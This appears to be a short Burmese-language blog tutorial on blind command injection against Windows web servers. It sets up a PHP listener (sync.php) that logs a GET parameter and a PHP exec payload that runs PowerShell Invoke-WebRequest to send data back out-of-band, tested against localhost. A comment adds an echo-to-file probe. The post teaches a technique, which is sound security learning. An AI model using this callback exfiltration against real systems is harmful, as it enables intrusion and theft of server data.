The Blind Art in Web [Using Powershell]

Blind Command Injection အေၾကာင္းေတာ့သိျပီးျပီလို႕ထင္ပါတယ္။ Output မထြက္တဲ့အခါမွာ Blind ဆိုတာေတာ့ သိျပီးသားလို႕ယူဆလိုက္ပါတယ္ေနာ္။ တခါတေလမွာ Output ထုတ္မျပတဲ့အခါ က်ေနာ္တို႕စိတ္ထဲ အလုပ္မလုပ္ဘူးလို႕ထင္သြားတတ္ပါတယ္။

Example

<?php
exec("whoami");
?>

ဒီလုိုဆို PHP code က echo ဒါမွမဟုတ္ print စတဲ့ output ထုတ္တဲ့ function ေတြမပါတဲ့အတြက္ output ထုတ္ျပမွာမဟုတ္ပါဘူး။ ဒီလို ဘာမွမေျပာင္းလဲသြားတဲ့အခါမွာ က်ေနာ္တို႕ Vulnerability မရွိဘူးလို႕ထင္သြားတတ္ပါတယ္။ ဒီလို output မျပပဲ အလုပ္လုပ္ေနေသးတာမ်ိဳးကို Blind Command Execution လို႕ေခၚပါတယ္။ Data Exfiltration Via Blind OS Command Injection (Contextis) မွာရွိပါတယ္။ ဒါေပမဲ့ သူ႕မွာေတာ့ Linux Server အတြက္ေတြခ်ည္းပဲျဖစ္ပါတယ္။ Windows အတြက္ကေတာ့ SMB ပဲပါပါတယ္။ က်ေနာ္႕လက္ရွိစက္ေလးက Windows တင္ထားတာဆိုေတာ့ က်ေနာ္ဘာမ်ားရဦးမလဲလို႕ စဥ္းစားၾကည့္ေတာ့ တကယ္လို႕သာ Windows က Command Line နဲ႕ Web Request တစ္ခုလႊတ္လို႕ရရင္ ရႏိုင္တယ္လို႕စဥ္းစားမိပါတယ္။ ဒါနဲ႕ google မွာလိုက္ရွာေတာ့ PowerShell နဲ႕လည္း Web Request ပို႕လုိ႕ရတယ္ဆိုတာသိလိုက္ရပါတယ္ (Here) ။ ဒီေတာ့ PowerShell က powershell က သံုးမယ္ဆိုရင္ powershell လို႕ေၾကညာေပးရေသးပါတယ္။

Invoke-WebRequest -OutFile index.html http://superuser.com

Vulnerable Website ကေန က်ေနာ္တို႕ Server ဘက္ကို Request တစ္ေဆာင္ပို႕မယ္ေပါ့။ ဒီလိုဆို Server ဘက္မွာ Request ကို handling လုပ္မယ့္အရာရွိဖို႕လိုပါတယ္။ ဒါေၾကာင့္

<?php 
$file=fopen("syncdata.txt", "w");
$input=$_GET['data'];
fwrite($file, $input);
fclose($file);
?>

ဒါကို sync.php ဆိုျပီး save ထားလုိက္တယ္။ ဒီလိုဆို sync.php?data=blahblah ဆို syncdata.txt ထဲမွာ blahblah ေရာက္လာျပီဆို request လႊတ္လိုက္ဆိုတာ က်ေနာ္တို႕သိရျပီ။ တကယ္လို႕ Vulnerable Website ဘက္မွာသာ Blind Command Injection ေပါက္ခဲ့တာေသခ်ာရင္ ရွိေနရမယ္။ အခုကေတာ့ ကိုယ့္ဟာကိုစမ္းထားတာဆုိေတာ့ ေပါက္တာေပါ့ေနာ္။

<?php
exec("powershell;Invoke-WebRequest http://localhost:8012/sync.php?data=lol%20security");
?>

lol နဲ႕ security ၾကားမွာေတာ့ space ရဲ႕ url encode လုပ္ဖို႕မေမ့ပါနဲ႕။ 😀

Yup ! Got it 😀

Thanks for reading xD

3 Comments

  1. payload = echo TEST > weak.txt
    And then call
    localhost/waek.tx
    and then you will “TEST” if blind command execution vulnerability exists 😛

Comments are closed.